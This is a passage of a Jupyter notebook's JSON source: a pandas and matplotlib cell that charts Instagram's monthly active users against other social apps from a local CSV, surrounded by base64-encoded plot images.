o5E08Jvq2reVAehmSHJAu8nTQTvJU0k7ydNJO8nTRTvpenB4dySJEmSJHVkEi1JkiRJUkcm0RrJ/KkOQDOK95MmiveSJpL3kyaS95MmivfSNODCYpIkSZIkdWRPtCRJkiRJHZlES5IkSZLUkUn0LJbk6Ul+m+QPSf5thPok+VRbf16SnaYiTg2+DvfSHkluSLK4/XnPVMSp6SHJV5NcnWTpKPV+N6mTDveS303qJMkWSU5I8psk5yd54wjb+N2kTjreT34/DTCfEz1LJVkT+CzwVOBy4OwkR1fVBT2bPQPYuv15HPD59rf0Nx3vJYBfV9UzV3uAmo4OAz4DfH2Uer+b1NVhjH0vgd9N6uZ24C1VdU6SDYGFSX7pv5u0irrcT+D308CyJ3r22hn4Q1VdVFV/Bb4N7DVsm72Ar1fjDGCTJA9Y3YFq4HW5l6TOqupk4NoxNvG7SZ10uJekTqrqqqo6p319I/Ab4IHDNvO7SZ10vJ80wEyiZ68HApf1vL+cu/7H22Ubqet9skuSc5P8LMn2qyc0zVB+N2ki+d2kviSZAzwGOHNYld9N6tsY9xP4/TSwHM49e2WEsuHPO+uyjdTlPjkHeHBVrUiyJ/AjmuFu0qrwu0kTxe8m9SXJBsD3gTdV1fLh1SPs4neTRjXO/eT30wCzJ3r2uhzYouf9g4ArV2Ebadz7pKqWV9WK9vVPgbWTbLr6QtQM43eTJoTfTepHkrVpEp5vVdUPRtjE7yZ1Nt795PfTYDOJnr3OBrZO8pAk6wAvAo4ets3RwMva1SYfD9xQVVet7kA18Ma9l5LcP0na1zvTfPf8ebVHqpnC7yZNCL+b1FV7n3wF+E1VfXyUzfxuUidd7ie/nwabw7lnqaq6PcnrgeOANYGvVtX5SQ5q678A/BTYE/gD8BfgFVMVrwZXx3tpb+A1SW4HbgZeVFUOcdOIkhwJ7AFsmuRy4L3A2uB3k/rT4V7yu0ld7Qa8FFiSZHFb9k5gS/C7SX3rcj/5/TTA4mchSZIkSVI3DueWJEmSJKkjk2hJkiRJkjoyiZYkSZIkqSOTaEmSJEmSOjKJliRJkiSpI5NoSZI0riTvSnJ+kvOSLE7yuFVoY16ST42zzR5Jjhmj/pNJrkjiv2EkSVPC50RLkqQxJdkFeCawU1XdmmRTYJ1+26mqBcCCuxHHGsBzgcuA3YETV7UtSZJWlX/FlSRJ43kAsKyqbgWoqmVVdSVAkicnWZRkSZKvJrlHW/7YJKclOTfJWUk27O1lTrJzW7+o/b1NhzieCCwFPg/sO1SY5JAk30hyfJLfJzmgLd8jyclJfpjkgiRfSLJGkjWTHJZkaRv3myf0akmSZjR7oiVJ0nh+Abwnye+A/wG+U1UnJVkXOAx4clX9LsnXgdck+RzwHWCfqjo7yUbAzcPavBDYvapuT/IU4EPA88eJY1/gSODHwIeSrF1Vt7V1OwCPB9YHFiU5ti3fGdgOuBT4OfA84GLggVX1SIAkm/R/SSRJs5U90ZIkaUxVtQKYCxwIXAN8J8n+wDbAxVX1u3bTw2mGWW8DXFVVZ7f7L6+q24c1uzHwvSRLgU8A248VQ5J1gD2BH1XVcuBM4Gk9m/y4qm6uqmXACTTJM8BZVXVRVa2kScCfAFwEbJXk00meDizv74pIkmYze6IlSdK42iT0RODEJEuAlwOLR9k8QI3T5AeAE6rquUnmMP785qfTJN5LkgCsB/wFGOpxHn68Gq28qq5L8mjgH4HXAS8EXjnO8SVJAuyJliRJ40iyTZKte4p2pBkefSEwJ8nD2vKXAie15ZsneWy7/4ZJhv/hfmPgivb1/h3C2Bd4VVXNqao5wEOApyVZr63fK8m6Se4D7AGc3ZbvnOQh7aJk+wCntAujrVFV3wf+Hdipw/ElSQLsiZYkSePbAPh0O3f4duAPwIFVdUuSV9AMy16LJnH9QlX9Nck+7T73pJkP/ZRhbX4UODzJwcDxYx28TZT/EXj1UFlV3ZTkFOBZbdFZNL3SWwIfqKorkzwcOB34T+BRwMnAD9vXX+t5TNY7+r4ikqRZK1XjjbaSJEkaXEkOAVZU1ceGle8BvLWqnjkFYUmSZiiHc0uSJEmS1JE90ZIkSZIkdWRPtCRJkiRJHZlES5IkSZLUkUm0JEmSJEkdmURLkiRJktSRSbQkSZIkSR39f59MqhsZarAoAAAAAElFTkSuQmCC\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG10.csv\", header=0, sep=\",\")\n", + "print(\"Instagram users vs other top social apps\")\n", + "print(\"_________________________________________________________________________________________________________________________\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "c = ['blue', 'red', 'green', 'blue', 'yellow', 'orange', 'black']\n", + "\n", + "plt.figure(figsize=(15,7))\n", + "plt.title(\"Instagram users vs other top social apps\")\n", + "plt.xlabel(\"Social Apps\")\n", + "plt.ylabel(\"Monthly_active_users(billions)\")\n", + "plt.barh(x, y, color=c)\n", + "plt.show()" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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